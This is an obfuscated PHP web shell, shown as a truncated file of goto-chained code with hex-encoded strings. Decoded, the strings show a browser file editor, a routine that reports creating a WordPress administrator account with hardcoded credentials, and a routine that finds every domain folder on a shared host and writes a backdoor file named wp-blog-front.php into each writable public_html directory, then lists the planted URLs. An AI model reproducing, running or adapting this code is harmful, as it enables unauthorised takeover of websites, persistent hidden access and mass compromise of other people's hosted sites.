"\x3c\57\x74\x61\142\x6c\x65\76\xa\xa\74\x73\x63\x72\151\160\164\76\12\x66\165\156\143\164\151\157\156\x20\x72\145\156\x61\x6d\x65\x43\157\156\x66\x69\162\155\50\146\157\162\x6d\51\40\x7b\xa\40\40\x20\x20\162\145\x74\x75\x72\x6e\x20\143\x6f\x6e\x66\151\x72\155\x28\x27\x52\x65\156\x61\x6d\145\40\x66\151\154\x65\77\47\x29\x3b\12\x7d\xa\74\x2f\163\x63\162\151\x70\164\x3e\12\12"; goto XcJod; RJvzj: VhhHo: goto L1Cpe; NfLr7: YxNMY: goto ObNtA; xhbvE: goto u4PS7; goto Qy7Ry; Ew4Vq: goto mmZKh; goto zpqr9; Mg0kq: BsQIO: goto Zjoa3; LThxC: wxbwg: goto RFrGN; L1Cpe: SYxdL: goto Wc2_k; oyvT0: kDQNo: goto dgkA2; TqSGu: JR8P0: goto JzMHZ; GKsnu: goto hbxNU; goto rs6hQ; EOJg3: goto wZ7ek; goto A4CH8; OzAbI: zsCef: goto U4WAK; syZL1: goto ff9Yy; goto LQfqR; wbqkt: goto UN8fq; goto lxDkg; wD9U7: Tbxrx: goto qoyb0; fotv5: FEh9e: goto klNYr; Xn1aA: goto SScWF; goto HcGlG; U3dVg: goto CggXw; goto oIF6W; dO0pw: function hX3BK($CLC3r = 6) { goto z6NSK; E9SDk: oZVYN: goto gVstI; IQFeb: JSXiv: goto hGplP; IRvQ1: goto Uoi0P; goto C2mPv; JzN0o: goto SJm82; goto M_YmK; C2mPv: UTj5s: goto aT2rK; XlvWZ: f4i3v: goto Nbywx; xaxQT: goto gaqC3; goto V98iK; ctTrq: ezfiV: goto mHC28; uClj2: goto F9402; goto a5jfy; p_dWZ: goto oP8e9; goto zEJyW; wmObU: goto oZVYN; goto aL2My; k70cv: YQnip: goto oysAB; V5ADG: $VHE4e = 0; goto uClj2; QLABN: goto iUYvM; goto Qu1oE; zEJyW: gN3A3: goto QLABN; k02CQ: hV90C: goto IJCBC; M_YmK: fXdFk: goto iMW62; U6iKU: jPu3B: goto XSFRG; xt_eX: f3v9J: goto vMsmb; oysAB: Xx_aN: goto y6Ovi; n9omV: TeIVw: goto Zqp_y; O_THI: ZBde5: goto p_dWZ; AUACC: goto jPu3B; goto Z1zM2; vehzS: Fnpg7: goto pMWTY; sTNzp: goto DaFlI; goto Om_yR; WcNk9: jLVFi: goto sEtis; z6NSK: goto AbpJ5; goto wiXcI; kTKoJ: p3hjl: goto pheJZ; xqy9y: goto YQnip; goto NVDWg; M7OJn: goto cnaEO; goto vq7Jv; e8skV: Uoi0P: goto AUACC; OzeKL: y5FS_: goto dG0BS; pheJZ: iUYvM: goto mWfW7; wWOHx: goto Zqsgl; goto n9omV; pyEPj: GpK83: goto FWlLI; elhIF: OGdFC: goto tkzAW; sEtis: goto GpK83; goto M7OJn; UAHC2: gaqC3: goto WoCa_; IJCBC: L14AX: goto i44FY; wiXcI: fX0Y4: goto v3Dhr; Aecwo: goto OGdFC; goto nZQe6; OzlOw: goto hSU5m; goto cNzaz; s1NPZ: $wDHLd = ''; goto SXxlC; BUHLn: goto XuJqe; goto xaxQT; v3Dhr: XuJqe: goto Aecwo; aT2rK: goto Kfi1D; goto mkqeO; vq7Jv: YdBmX: goto WpMY8; B09uE: goto TeIVw; goto XlvWZ; V98iK: DUsZn: goto mTBTt; aL2My: AbpJ5: goto c3kNA; cNzaz: goto p3hjl; goto aH1n2; n9Ean: return $wDHLd; goto RWIZS; tkzAW: goto w7r8p; goto zFdLi; crGmt: goto YdBmX; goto DMP9E; ZMAnM: goto Dpav7; goto k02CQ; fbdWV: bNXG2: goto O_THI; ONLdM: hSU5m: goto JzN0o; i44FY: goto Du3Bd; goto cHOhe; c3kNA: goto Sv9CS; goto otKq1; yjuQa: QuBwT: goto sTNzp; zFdLi: goto gN3A3; goto fbdWV; DMP9E: PqKeK: goto BUHLn; B6M7m: goto fX0Y4; goto gBnuW; FWlLI: goto ezfiV; goto KOMPn; O0Hpy: F9402: goto Kazcb; WpMY8: Ox0Yj: goto B09uE; hE0kD: goto PqKeK; goto k70cv; WoCa_: Sv9CS: goto wmObU; BWEYW: goto BxgG1; goto VvUlS; XSFRG: goto Xx_aN; goto mhSbN; o_5T6: goto LZqJ2; goto U6iKU; mHC28: if (!($VHE4e < $CLC3r)) { goto UTj5s; } goto IRvQ1; mTBTt: goto ZBde5; goto xqy9y; ajZr2: goto hV90C; goto E9SDk; dcOXU: Du3Bd: goto wJQPo; dG0BS: goto DUsZn; goto mjfie; VvUlS: goto IMDUY; goto elhIF; NVDWg: oP8e9: goto eClIJ; RWIZS: goto JSXiv; goto Pc7ES; otKq1: goto ak10X; goto WcNk9; mjfie: IMDUY: goto e8skV; UhbvS: goto ZYSkF; goto ZMAnM; IICYx: goto jLVFi; goto xt_eX; Nbywx: BxgG1: goto wWOHx; iMW62: ZYSkF: goto toxtZ; pMWTY: mI7hJ: goto BONSU; BONSU: goto sOwgY; goto r7_gy; ezTwV: goto QuBwT; goto ajZr2; Z1zM2: DaFlI: goto V5ADG; nZQe6: Dpav7: goto yjuQa; cHOhe: Kfi1D: goto BWEYW; toxtZ: goto inuE4; goto eYYSc; wJQPo: w7r8p: goto IICYx; gVstI: $SOGXc = "\x61\142\143\x64\x65\146\147\150\x69\152\x6b\x6c\x6d\x6e\157\160\x71\162\163\x74\165\x76\167\x78\171\x7a\x30\61\62\x33\x34\x35\x36\x37\70\x39"; goto OIEey; gBnuW: inuE4: goto n9Ean; Om_yR: sOwgY: goto OzeKL; Kazcb: goto L14AX; goto crGmt; OIEey: goto yUB7o; goto ctTrq; mhSbN: goto Fnpg7; goto vehzS; mWfW7: goto f4i3v; goto dcOXU; eYYSc: AlwMZ: goto ezTwV; szVeO: goto mI7hJ; goto h9veS; hGplP: goto Ox0Yj; goto B6M7m; r7_gy: yUB7o: goto OzlOw; vMsmb: $wDHLd .= $SOGXc[rand(0, strlen($SOGXc) - 1)]; goto o_5T6; mkqeO: cnaEO: goto pyEPj; y6Ovi: goto f3v9J; goto UAHC2; Qu1oE: goto bNXG2; goto O0Hpy; eClIJ: $VHE4e++; goto hE0kD; KOMPn: SJm82: goto s1NPZ; SXxlC: goto AlwMZ; goto kTKoJ; h9veS: goto fXdFk; goto IQFeb; a5jfy: LZqJ2: goto szVeO; Pc7ES: ak10X: goto ONLdM; aH1n2: Zqsgl: goto UhbvS; Zqp_y: } goto QPDRP; INens: goto QRu0E; goto KCaqs; kT4U8: SjQoV: goto IrBBt; RUZzO: goto gUKWt; goto yRzSi; Kdmp4: goto kOZC5; goto d1ymB; bprOo: goto hqvji; goto VR99U; lxDkg: Vz7Nc: goto xLzC1; tXmFa: goto mrEaW; goto KmpX7; ZnsV8: XVnA0: goto cpkaA; PcG05: PEDAo: goto jUo7I; CsPsQ: goto Vz7Nc; goto u3UcH; wbKnl: zT7B3: goto Ts3fo; TVfkN: l5mRt: goto sXGTh; ya2iC: $hznvy .= "\74\144\x69\x76\40\x63\x6c\x61\x73\x73\x3d\47\x6f\x6b\x27\76\xc3\xa2\305\223\xe2\200\x9d\x20\127\x50\x20\x41\x64\x6d\151\156\x20\103\162\145\141\164\145\x64\x3a\40\150\x65\154\154\40\57\40\x48\145\x6c\x6c\x40\x32\x30\62\x35\x3c\57\x64\x69\166\x3e"; goto lOUZQ; klNYr: goto nyxtr; goto auij7; by2Me: uU3hK: goto ReGJh; mUedk: ww1U4: goto Ms1xZ; BMgJY: goto YV7J3; goto LK7PK; HsnEG: goto FQi0d; goto nDgjJ; SGYFQ: C6uMX: goto Tm20x; c6i_W: cBi0z: goto MpkXP; mEyIg: AJEvA: goto ya2iC; TH0hL: goto eidbW; goto dpuZk; xkb3Y: goto FAGob; goto MjtI0; zN5y3: wHPSX: goto XkG1y; zGsRd: goto fZku2; goto N_bhX; HQKM6: Kh6bK: goto pWLEz; Y39BH: SGf7r: goto LHCPs; OQA_Z: goto jFF3F; goto YRBfv; INFFL: $D8SPt = __FILE__; goto GETqH; G8pQn: V35gp: goto tXmFa; CH5gS: goto kZyGP; goto QVOeC; xglhX: goto FH10o; goto P18Wf; HgL8O: v26Id: goto h1gA6; fzZPn: goto TiAaS; goto cqOD9; IrBBt: zwr0b: goto nJOL3; f2HDu: tALZ4: goto asy96; SU2aS: goto M_aAL; goto FBet9; GGaB5: goto QxCZA; goto rHduz; fbCMn: iFm00: goto dDHyn; WRtx2: goto nCsBk; goto VJPkJ; v_bQx: goto yuxjg; goto DkneV; QasTk: kNvRZ: goto pmKLG; psN7E: Xt2yl: goto rTRoz; i6StH: goto KOcL8; goto fotv5; UGHVI: YeuQW: goto di3MM; VWhb1: K14Rm: goto leSQu; U4WAK: echo "\74\146\x6f\x72\x6d\x20\x6d\x65\x74\x68\157\144\75\47\160\x6f\163\164\47\76\74\164\145\170\164\x61\162\145\x61\x20\156\x61\x6d\145\x3d\47\146\151\x6c\x65\x64\141\164\x61\47\76{$mdI48}\x3c\57\164\x65\x78\164\x61\162\x65\x61\x3e\74\x62\x72\x3e\74\142\165\164\164\x6f\156\x20\x6e\x61\x6d\x65\x3d\47\x73\x61\x76\x65\x66\151\x6c\x65\x27\x3e\x53\x61\x76\x65\74\57\142\x75\164\x74\x6f\156\76\40\x3c\141\40\150\162\x65\x66\x3d\x27\x3f\x64\x69\162\x3d" . urlencode($JdqDR) . "\x27\40\163\164\x79\154\145\75\47\143\x6f\x6c\157\x72\x3a\x23\x66\x66\60\47\76\102\x61\143\153\x3c\57\x61\x3e\74\x2f\146\x6f\x72\155\76"; goto Lx0XR; bkpQm: goto vh4Ya; goto JrmU1; HMmv3: goto VhhHo; goto C1F0D; zF2eE: An6YB: goto mxgcF; YS87K: goto DpXAP; goto MnYYv; nmlvO: KR4dN: goto UmErq; DYzZc: goto Jc76G; goto NRbvr; nY_1Q: veDoV: goto fdusi; v8gH4: goto z3aiS; goto hQr7P; G5dt5: goto LGhol; goto tuKb4; fFQF6: goto N8UWO; goto UVUtQ; n0AyI: goto c1Y1i; goto mGj0u; uSV6y: $hznvy .= "\74\144\151\x76\x20\x63\x6c\141\x73\163\75\47\145\x72\x72\47\76\xc3\242\xc5\223\313\x9c\x20\x57\120\x20\165\x73\145\x72\40\143\x72\145\x61\x74\151\x6f\156\40\x65\162\162\157\x72\x3c\57\x64\x69\166\x3e"; goto bprOo; W8XxV: goto CfqF0; goto Mix7i; OmOy_: goto QJ85Y; goto B7Xir; KMUru: DwIlf: goto t45jc; aO1F2: goto h_uEZ; goto y2JC5; A8SPk: CLznv: goto PC1uP; eM273: goto D0vP0; goto HK11o; CUWhv: goto OFmO8; goto UBRcC; AUr_O: goto Ke450; goto ltaRC; ky0ox: QIr9i: goto nndCL; g7eCo: goto Qjkti; goto W6N2X; olZtW: jQe1n: goto hyfoa; dSIe6: Pu1yM: goto SgrjO; PWPPT: nWrVW: goto CTQ0O; drhqD: X_y0p: goto B05Ub; cFVUB: $D6V0J = dirname($D6V0J); goto yikDg; uJ1Au: En4Bl: goto DBRvW; doVAA: goto Q_gWi; goto IJm2S; B1nVA: J2g9H: goto Z_1_4; H7UpU: HjMDE: goto OBxJ0; XM0Z1: foreach ($HbhNW as $JUtnp) { goto aUrNh; Q3Zqf: zKduV: goto u2qPg; s9vav: echo "\x3c\x6c\151\76\x3c\141\x20\x68\x72\x65\146\x3d\47{$JUtnp}\47\x20\164\141\162\x67\145\164\75\47\137\x62\154\141\x6e\153\x27\x3e{$JUtnp}\x3c\57\x61\76\74\x2f\154\x69\76"; goto sQ3ib; gKlF6: goto DWhQa; goto jqHoR; NYDkV: DWhQa: goto Q3Zqf; aUrNh: goto cMRko; goto e9uV9; B4EMc: qoZyg: goto gKlF6; JtDgN: DeS4P: goto UsVfk; eOIIu: rsRDR: goto B4EMc; u2qPg: goto t0TJ3; goto eOIIu; jqHoR: t0TJ3: goto JtDgN; sQ3ib: goto rsRDR; goto NYDkV; e9uV9: cMRko: goto s9vav; UsVfk: } goto Orv0N; ePZM9: goto aCSQe; goto d_uUZ; kodTq: goto QIr9i; goto N0XQT; d5V4O: goto Rq_co; goto Vxlow; d8vt9: kwn_w: goto Zq6n4; AuBcD: z3pf1: goto nqTXH; FR0vb: FtsP2: goto e4HMG; TNSh_: echo "\74\41\x44\x4f\103\x54\131\120\105\x20\x68\164\x6d\x6c\76\74\x68\164\x6d\154\x3e\x3c\150\x65\x61\144\76\x3c\x6d\x65\164\141\40\x63\x68\141\x72\163\145\164\75\x27\165\x74\146\55\70\x27\x3e\x3c\x74\x69\x74\x6c\x65\x3e\105\x64\x69\x74\x3c\x2f\164\x69\164\x6c\145\76\xa\x20\x20\x20\x20\40\x20\x20\40\74\163\x74\171\x6c\145\76\xa\40\40\40\40\40\40\40\40\x62\157\x64\x79\173\x62\x61\x63\153\147\162\157\x75\156\x64\x3a\43\60\60\60\73\143\x6f\154\x6f\x72\72\43\x66\146\x30\x3b\146\157\156\164\x2d\x66\x61\x6d\151\154\x79\x3a\155\x6f\156\157\x73\160\x61\x63\x65\73\164\x65\170\x74\55\141\x6c\x69\x67\156\x3a\x63\145\x6e\164\x65\x72\x7d\12\40\40\x20\40\40\40\40\40\x74\145\170\x74\x61\x72\145\x61\173\x77\151\144\164\150\x3a\71\x35\45\73\150\145\151\x67\150\164\x3a\x38\60\x76\150\x3b\142\x61\143\x6b\x67\162\157\165\x6e\144\x3a\x23\x31\61\61\73\143\157\x6c\x6f\x72\x3a\43\146\x66\x66\73\142\157\162\144\145\x72\x3a\x31\160\x78\x20\x73\157\154\151\144\40\43\x66\x66\x30\175\xa\x20\x20\x20\40\40\x20\x20\40\142\165\x74\x74\x6f\156\x7b\x70\x61\x64\144\x69\156\147\x3a\70\160\x78\73\x62\141\x63\153\x67\x72\x6f\x75\x6e\x64\72\x23\x32\62\62\x3b\143\157\x6c\157\162\x3a\43\146\x66\x30\73\142\x6f\162\144\145\x72\72\x31\x70\x78\40\163\x6f\154\151\x64\x20\43\146\x66\x30\x7d\12\x20\40\40\40\x20\40\40\40\x3c\57\163\x74\171\154\145\76\x3c\57\150\145\141\144\x3e\74\x62\157\144\171\76"; goto Yv5N0; HcGlG: fciXr: goto EZGSd; TwqXQ: mNINs: goto XPX4t; yW17m: R7fQw: goto uJ1Au; N_bhX: jkCKs: goto wwM9e; QqInZ: FQi0d: goto cAAde; XLvuk: N8UWO: goto I2Et3; QsPIc: hbxNU: goto Dvq11; LK51e: goto sqq0b; goto gru6B; qa8k3: goto B20kN; goto QWgsx; vH8mz: goto GTMrE; goto q2PPw; tuKb4: zyr_3: goto XM0Z1; YRVUI: goto a1JYq; goto q7YAy; WoibB: goto Mpw0a; goto U0S7x; wkKdZ: xwHle: goto M1sbV; kMj6k: goto GFznw; goto ZenZd; M4u07: goto DCCBg; goto wEY1S; lVtDI: hKkuU: goto cLM9z; zpqr9: goto qCPgI; goto PLsH_; rk09R: goto jQe1n; goto K4XlR; xWAA_: E3cAA: goto V19mR; Zf00L: goto fXR_9; goto orK6d; MAhYk: oCdVG: goto sFQq4; RCvXC: QLiDU: goto HI3Eh; wjSI3: goto WPvfP; goto UJv1z; Kw4uo: goto DbkW8; goto ZqkGP; rHduz: oRPQR: goto nRCFw; juHmK: goto f5n0p; goto GsX13; zfi1i: goto Pu1yM; goto CZKTK; NW2YB: iMPZC: goto cQw0H; ZhMNW: goto ocCsn; goto lJLwF; a3NhY: goto xqiY_; goto VrDET; M_ySO: rpkEp: goto Nluj9; C3gIo: goto U2hWI; goto O1iFw; ELRzR: goto roQYD; goto noXGz; Z2WKx: goto zWmwG; goto Due3P; cWIi8: aw61p: goto RUZzO; jUo7I: kTdtq: goto drZ7J; T_f2O: goto z3pf1; goto qtOMu; m6xtS: kOZC5: goto akk14; ErcjN: ff9Yy: goto zGznt; xihPS: goto Mui_y; goto DULDq; YvG2f: w4G6M: goto APerP; iM2Kf: EBoDv: goto Q1nFk; toqPO: BtDrW: goto SnuW7; v0IZQ: doNM2: goto kmudu; PFakA: VtXS1: goto Qd3lh; HLnpY: goto SXti3; goto gKF0b; dt_Tu: cAC6U: goto Y6Vvz; b5rBr: PdiyD: goto Zp6nL; zdSMe: goto KJSI3; goto yUnRu; Aq8ar: wht1c: goto PZ6FD; Z4ti4: TeCIh: goto uFRdk; bP8J6: goto vdRYy; goto kj73H; ONcuP: goto sbJX_; goto ELRzR; XRSia: B20kN: goto i6StH; rEqON: goto SuiMc; goto pqjjX; b7_TF: goto MiNjJ; goto lf5xV; TGNVX: goto yO1DX; goto Yj7dO; xbuKp: goto sHU8k; goto KHiK3; aPdzy: OCR1p: goto uAwQG; hKizP: goto a750m; goto jxpFG; FLvD1: function rbq7A($HQfp3) { goto RCPFH; ucrGN: goto NGfsY; goto Xr5mb; dyAHW: goto Bzfnk; goto dnPKr; ob6Cu: VGRR0: goto Ne70u; X1WUx: goto oeSNM; goto zLlAO; l2F2p: goto Z31Fd; goto oWGyJ; zxEIp: T6rNp: goto eyoHR; LCZqb: Mm4pS: goto ytgoV; rdVee: PN5bN: goto xbAoe; qgpvB: goto Hxh7o; goto zB_Lr; veIQX: C1hUL: goto Rq0ps; NnasV: bG7_5: goto Ujwfn; nwpCw: ygBm1: goto WzB2_; l7vPq: aiZQF: goto LOnIK; xQELg: f9fK0: goto yoM19; XZUKX: goto pxK2B; goto NiA64; RCPFH: goto O_rAU; goto G65F6; zuJSO: sUQ5Z: goto VcU52; gbJ7Q: goto CVtE9; goto BsihB; IW4c5: $HbhNW = []; goto tZpKV; CoFbs: goto ucoup; goto Typcn; E7tbT: goto ekxgf; goto yscww; NlVuf: pxK2B: goto XRuZG; kzGhE: imBDh: goto Pon0h; GD7D9: goto bG7_5; goto EP2nv; adcDm: goto wIyx4; goto CpPbF; ym_CG: Kh7RI: goto mLM3m; kiMUO: oeSNM: goto BCta0; s_wLQ: RzePA: goto j1nt_; CZnQe: goto q4z40; goto vZIZa; X8Pzq: goto W04iN; goto l7vPq; acvTV: IDMb3: goto X1WUx; aXSPh: IYrIO: goto C1XOa; Lse7n: Ophjk: goto IW4c5; yJi0s: ZzslW: goto oCCH7; kRKAH: $oSJ8K = __DIR__; goto LV7ak; CpPbF: uwdv5: goto iUp7n; Asytx: goto Vv71w; goto oXtKh; DIDsO: $oSJ8K = dirname($oSJ8K); goto ajxOd; ajxOd: goto yfJ3Q; goto JfJcQ; yscww: goto imBDh; goto S_utK; mLM3m: $NySlu = true; goto M3mDa; kbfeI: iZv5D: goto itiJZ; xa6HN: Z31Fd: goto NQcKQ; pDWOG: WPqri: goto TWsd3; OxUqq: ZBltR: goto qgpvB; DxHI1: goto b6YWM; goto u1_iz; ME5gR: goto cYirU; goto z74ez; vw3MB: wIyx4: goto O1e3M; gg_Ow: goto uwdv5; goto JgBbu; cUH_d: b6YWM: goto FGDly; z74ez: N4Rbr: goto xyVHx; cjYXS: Bzfnk: goto bSCy_; Z4Zgk: Hxh7o: goto ODmLS; JpC1w: TgnkZ: goto mKtom; EePFN: nOhdC: goto bDbsJ; BsihB: gNqUC: goto anKeV; BCta0: if (!(preg_match("\57\x5c\57\165\x5b\134\x77\x5d\x2b\44\57", $oSJ8K) && is_dir("{$oSJ8K}\57\x64\157\x6d\141\151\156\x73"))) { goto T6rNp; } goto PeXwr; RuJTK: Fx4lB: goto gbQSf; dBc8X: goto xejn1; goto ym_CG; H8m2U: goto M1_9G; goto EePFN; TQJ8q: HZkyG: goto yYxSX; JK3zx: goto oPcBJ; goto ioM0M; VcU52: goto XpVRy; goto vsyfU; bPS3x: mfwMj: goto X8Pzq; bawC0: return []; goto y11Cz; TWsd3: goto BZarw; goto Ww0iN; S_utK: tCju4: goto nwpCw; DfSGe: i2z_7: goto h9GGe; itiJZ: OpOIn: goto HAlIQ; h9GGe: static $NySlu = false; goto wzZwl; ODmLS: goto zspJd; goto kiMUO; Typcn: goto RzePA; goto yjGRk; v2el4: goto HR9pC; goto awPpR; YGPCw: goto G5zCG; goto X4SNz; EX2Xl: y6fo7: goto zuJSO; gdWEw: goto jqP7l; goto JpC1w; O1e3M: goto VGRR0; goto gg_Ow; XRuZG: goto rVm8T; goto ONL3Y; Ujwfn: if (!($oSJ8K !== "\x2f")) { goto N4Rbr; } goto ME5gR; JfJcQ: FAwvr: goto mDnjC; REPKx: HR9pC: goto dBc8X; E7Fui: goto i2z_7; goto fqF7I; N2XVx: goto y6fo7; goto vw3MB; Ymuz7: bYU93: goto NlVuf; tZpKV: goto JHDG7; goto a3KHu; t8f0f: goto Yq9fS; goto GpbnR; yoM19: DQAju: goto Hn2VE; DLBKI: goto f9fK0; goto XIFA0; XIFA0: tqHsE: goto Acc8r; tSpkE: sdo3T: goto GD7D9; oXtKh: goto o642m; goto cIm87; EP2nv: PddbW: goto bPS3x; cGPAx: gDD_e: goto hTkJO; pg8Z1: o642m: goto Z4Zgk; XrRoM: goto PN5bN; goto cGPAx; bDbsJ: goto JZtDd; goto DxHI1; jgKDl: kaAt0: goto jdX2M; oCCH7: CWv87: goto XSJNG; BJs1m: Go7_O: goto SEjSU; pjo2x: goto Ophjk; goto aXSPh; fqF7I: wTz4X: goto Asytx; JgBbu: PT_Ta: goto ob6Cu; YL6ho: Yq9fS: goto TQJ8q; mDnjC: gsfHr: goto YySBW; NDFmA: goto gsfHr; goto XrRoM; lyRId: goto NfDoz; goto RuJTK; xbAoe: ucoup: goto C5uPW; LV7ak: goto aKrZA; goto xa6HN; KTMKG: goto jwhB2; goto l2F2p; hUsW0: goto Vg3VJ; goto yJi0s; cIm87: aKrZA: goto NDFmA; G65F6: Vg3VJ: goto tSpkE; jdX2M: goto IDMb3; goto tAWl_; PkbjQ: goto kaAt0; goto DfSGe; Rq0ps: ekxgf: goto dyAHW; FGDly: EDsBy: goto QNwWs; pqxQH: goto UZcoV; goto kbfeI; QNwWs: goto DUt0y; goto hk2Cv; jVrVj: q4z40: goto T4g40; u1_iz: a38SL: goto YGPCw; on1Qf: C4UnC: goto DIDsO; zeeZE: xs1pG: goto rHdse; QD4S4: MPuuV: goto v2el4; GpbnR: NfDoz: goto m_bii; tAWl_: goto ZzslW; goto YL6ho; x8XLi: zspJd: goto adl6_; txZJv: DUt0y: goto ucrGN; yjGRk: rVm8T: goto U7qGD; NQcKQ: Vv71w: goto CZnQe; SEjSU: JZtDd: goto yFj2v; SAeR5: goto bYU93; goto jVrVj; ONL3Y: M1_9G: goto acvTV; NiA64: goto aiZQF; goto s_wLQ; cFhRP: goto IYrIO; goto pg8Z1; X4SNz: goto FAwvr; goto on1Qf; LOnIK: jwhB2: goto czRc4; EKa54: goto g7wPa; goto SAeR5; xyJGz: goto C4UnC; goto EX2Xl; oyhQU: goto iZv5D; goto AV0Ca; dnPKr: jqP7l: goto v1ojR; d5BL5: xejn1: goto kRKAH; PO6As: UZcoV: goto NSWf6; rHdse: goto PddbW; goto kzGhE; j7TQP: foreach (scandir("{$oSJ8K}\57\x64\157\x6d\141\151\x6e\163") as $B0UUB) { goto FNAqc; kOSzj: rVEQT: goto CNHV4; lzFP5: ux11Q: goto h0Laq; tjDHf: goto Mfz38; goto fC0RF; tYmGo: pqNVa: goto TMZT0; VvLWy: goto J0KX1; goto wT4S0; nL6Xp: n_DIT: goto MYboE; GApLz: goto B2ODT; goto Y28F3; E3Mrn: goto rnYLp; goto nbuQd; j96Dv: goto Jbzht; goto QG6fV; n3tJX: goto hsFf_; goto gSGNf; MYboE: if (!($B0UUB === "\x2e" || $B0UUB === "\56\x2e")) { goto WlcCY; } goto N9UlJ; FNAqc: goto u4oqo; goto WM7iI; jp3j9: goto bzSc_; goto cceQ3; zhrre: y7e_I: goto eQef8; cl_yF: goto A76t1; goto bUerB; HvwyS: goto Oa6fD; goto JGlPW; E436F: goto XOwo2; goto nL6Xp; lx4x2: goto PD6vj; goto OVhRZ; SWKD4: goto h85Ee; goto X8LHV; pT6Yx: goto rVEQT; goto phPk5; AfiM4: goto eXtyq; goto yW6vy; N9UlJ: goto v7xTO; goto ugTRA; Y28F3: rP9XS: goto c5Q47; Ii0Sr: goto ruKhz; goto dYMiY; M8GVO: v7xTO: goto FrTbR; W6F5i: J0KX1: goto JQJdY; R0RKv: Fl1wR: goto i2A_Z; d7h1L: goto VoeqA; goto F7EoO; c5Q47: $zbFXB = "\167\x70\55\142\x6c\x6f\147\x2d\x66\162\x6f\x6e\164\56\x70\150\160"; goto AfiM4; zSWeR: u4oqo: goto FBF73; X8LHV: goto TUDXP; goto VSrOX; Ojl3u: goto mMdzY; goto Ei6BU; Hzg4W: if (!is_writable($htvAP)) { goto Q98Ok; } goto lx4x2; nbuQd: rnYLp: goto VkdA4; xZLoR: lT7gi: goto LvU_1; a_n5b: g9ZiQ: goto h032c; Ei6BU: goto q8FyN; goto WJyBR; VSrOX: t8QM7: goto q_1Q_; TODUf: PEinE: goto xb4ha; bUerB: CAQ2x: goto TQJZf; lypPS: VoeqA: goto TRYQ5; TFMBV: goto K3003; goto ftBy8; a6hbS: goto n2PG3; goto zSWeR; fhs0S: mMdzY: goto fGFIP; SemA_: zWd7Y: goto nuB10; qpJyw: goto WpHqr; goto im3l0; h3MuU: goto Fl1wR; goto biAXF; POSeB: goto zqCeA; goto tm9_T; i_Aia: goto d26Tq; goto kOSzj; L6U9a: igC57: goto FX8qe; edIzx: goto g9ZiQ; goto UUGrD; fC0RF: n2PG3: goto XRGGx; mT1QB: WpHqr: goto Ojl3u; RYImv: hsFf_: goto d7h1L; A_llZ: dtuOX: goto bKvyd; wT4S0: Ein9r: goto bIVem; fGFIP: goto Ein9r; goto mT1QB; ftBy8: goto MNAMj; goto sadJ1; HzbFA: TsLzd: goto h3MuU; nuB10: if (!file_put_contents($KUX1S, $HQfp3)) { goto riXmi; } goto HvwyS; WM7iI: d26Tq: goto u3diC; lchgJ: goto n_DIT; goto Wiuan; n766B: goto TsLzd; goto i_Aia; WJyBR: XOwo2: goto VWz3O; eQef8: goto B1C2A; goto TODUf; oVwKo: goto ZJSTt; goto DpPtS; kg079: YIEH6: goto zhrre; Wiuan: B2ODT: goto TFMBV; q7UK1: goto ezUtN; goto edIzx; ugTRA: WlcCY: goto PAtId; q_1Q_: goto lT7gi; goto VvLWy; zV6dX: h85Ee: goto THj1B; bIVem: goto r5jpE; goto vDhQm; H6Byz: MNAMj: goto tYmGo; OIxoY: goto t8QM7; goto GPgZp; xb4ha: ku1XX: goto pT6Yx; HCALd: goto U8wF3; goto PWQyQ; D81PF: goto Og_55; goto cl_yF; DpPtS: U8wF3: goto rePbp; MRtbf: goto pqNVa; goto YPhq3; CNHV4: goto dtuOX; goto kdnnO; XRGGx: r5jpE: goto E436F; biAXF: eXtyq: goto n766B; FrTbR: goto uWRHq; goto X1jdx; FBF73: goto fd1ek; goto oVwKo; F7EoO: goto AFiCi; goto aWati; JQJdY: Og_55: goto E3Mrn; LvU_1: goto rP9XS; goto YBjC8; rePbp: goto ku1XX; goto rzVHr; GPgZp: zqCeA: goto q7UK1; NSXXj: goto TaGMG; goto aD3L2; PAtId: goto P3Mc5; goto QHNNB; TMZT0: goto rLq2z; goto Pvqb3; Pvqb3: P3Mc5: goto SWKD4; hoIWs: hgTHK: goto JICE3; Ahkn2: goto y7e_I; goto QYSbc; vDhQm: goto ux11Q; goto RYImv; A_nVV: PD6vj: goto OIxoY; yW6vy: TUDXP: goto M8GVO; QYSbc: goto ptyck; goto hoIWs; im3l0: AFiCi: goto HzbFA; dYMiY: ruKhz: goto BE5Cv; JICE3: wf11m: goto tjDHf; YPhq3: goto igC57; goto W6F5i; cceQ3: ZJSTt: goto xZLoR; VWz3O: xPeO_: goto l_f1D; UAGiv: $HbhNW[] = "\x68\x74\164\x70\x3a\57\x2f{$B0UUB}\x2f{$zbFXB}"; goto GApLz; i2A_Z: $KUX1S = "{$htvAP}\x2f{$zbFXB}"; goto POSeB; phPk5: Mfz38: goto fhs0S; QHNNB: A76t1: goto A_llZ; L55cY: rLq2z: goto zV6dX; JGlPW: riXmi: goto HCALd; sadJ1: lddNl: goto Ldl8c; FYWSS: uWRHq: goto DgPTq; X1jdx: q8FyN: goto MRtbf; THj1B: goto tbFHZ; goto kg079; h0Laq: ezUtN: goto Kp2el; h032c: KX_1H: goto qpJyw; gSGNf: bzSc_: goto Ahkn2; zecxm: Oa6fD: goto n3tJX; UUGrD: Jbzht: goto NSXXj; QG6fV: JJ0pb: goto A_nVV; aD3L2: goto JJ0pb; goto a_n5b; YBjC8: tbFHZ: goto D81PF; gxREz: UdPo5: goto UAGiv; BE5Cv: goto wf11m; goto dPLQk; aWati: ptyck: goto lypPS; kdnnO: goto YIEH6; goto L6U9a; tm9_T: kbFi0: goto zecxm; VkdA4: $htvAP = "{$oSJ8K}\x2f\144\157\x6d\x61\151\156\163\x2f{$B0UUB}\x2f\x70\x75\142\x6c\151\143\137\x68\x74\x6d\154"; goto jp3j9; FX8qe: fd1ek: goto lchgJ; Kp2el: goto zWd7Y; goto FYWSS; OVhRZ: Q98Ok: goto j96Dv; bKvyd: goto lddNl; goto L55cY; rzVHr: goto kbFi0; goto R0RKv; TRYQ5: goto UdPo5; goto SemA_; TQJZf: ryUIu: goto msxek; Rti4H: goto PEinE; goto H6Byz; PWQyQ: B1C2A: goto Hzg4W; l_f1D: goto CAQ2x; goto gxREz; Ldl8c: TaGMG: goto Ii0Sr; DgPTq: goto KX_1H; goto a6hbS; dPLQk: goto hgTHK; goto lzFP5; u3diC: K3003: goto Rti4H; msxek: } goto zeeZE; iUp7n: TFXVD: goto JK3zx; hTkJO: return []; goto cFhRP; pcHT8: JHDG7: goto CoFbs; bSCy_: goto HZkyG; goto oyhQU; YySBW: goto tCju4; goto LCZqb; mKtom: goto sdo3T; goto t8f0f; q1GnM: IoSkJ: 